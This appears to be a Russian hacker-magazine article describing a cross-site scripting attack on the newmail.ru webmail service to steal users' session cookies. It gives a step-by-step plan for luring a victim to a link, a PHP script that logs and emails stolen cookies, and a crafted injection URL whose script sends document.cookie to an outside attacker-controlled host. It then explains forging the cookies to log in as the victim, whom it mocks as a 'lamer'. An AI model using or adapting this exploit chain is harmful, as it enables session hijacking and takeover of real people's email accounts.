Свежие баги новой почты xbit (stream@oskolnet.ru) Хакер, номер #076, стр. 076-064-2 CSS рулит Нет-нет. Таблицы стилей здесь не причем. CSS атакой называют действия, в ходе которых при помощи методов серверного приложения проводится атака на клиентскую сторону. Если в детстве ты учил web-языки, то наверняка помнишь, что печенья читаются только теми узлами, которые их поставили. Другим доступ закрыт. Весь смысл атаки сводится к тому, чтобы внедрить вредоносный код в страницу на ломаемом сервисе. Как можно внедрить жука на сервер Новой Почты мы уже знаем – подставить его в параметр переменной file. Сам же жук будет представлять из себя простейший javascript код, читающий куки и отправляющий их специальному скрипту. Чтобы удостовериться в своих подозрениях и не обломаться в решающий момент, я подставил следующий код: <script language=”javascript”>alert(document.cookie);</script>. В результате перехода по сконструированной ссылке функция alert(); выдала мини-окошко, в котором содержались все необходимые данные для авторизации на сервере новой почты. Это меня очень порадовало и я принялся подготавливать все необходимые для осуществления атаки инструменты. Весь сценарий атаки будет выглядеть следующим образом: 1. Жертве каким-либо образом нужно подсунуть ссылку (как это сделать лучше всего, поговорим позже). 2. После перехода по ней, кукисы ламера считываются внедренным js (его встроим с помощью параметра переменной file). 3. Яваскрипт открывает принимающую кукисы страницу с параметрами в виде прочтенных пользовательских cookie, происходит запись результатов в файл, о чем мы узнаем по пришедшему письму. 4. Подделываем печенья и логинимся на сервере. Начнем со скрипта приема кукисов, который отсылал бы их нам на мыло, или записывал в файл на сервере. Ниже представлена его PHP реализация: <? if ($QUERY_STRING=="") exit; $f=fopen ("data.dat","a+"); fwrite($f, "$QUERY_STRING \n\n"); fclose($f); echo "Все ок"; ?> Даже если ты не знаком с PHP то тебе все равно должно быть все понятно, разве что переменная $QUERY_STRING, которую мы записываем в файл. $QUERY_STRING это переменная окружения содержащая в себе все параметры передаваемые скрипту. Проще говоря, если обратиться к нему ссылкой домен/?f=15&gh=22, то в файл будет записано значение идущее после вопросительного знака - f=15&gh=22. Можно еще добавить функцию mail(); которая отсылала бы нам результаты прямо на мыло. Делается это достаточно легко: mail (“stream@oskolnet.ru”,”Lamep klunul”,”$QUERY_STRING”);. Следующий шаг – написание яваскрипт кода, который должен бы отсылать нам результат своей работы. Я решил сразу встроить его в ссылку, чтобы тебе лучше запомнилось: http://www.newmail.ru/messages/file.dhtml?file=wow”>lol</a><script language=”javascript”>open('http://xbit.switch.pp.ru/index.php?'+document.cookie); </script><a> |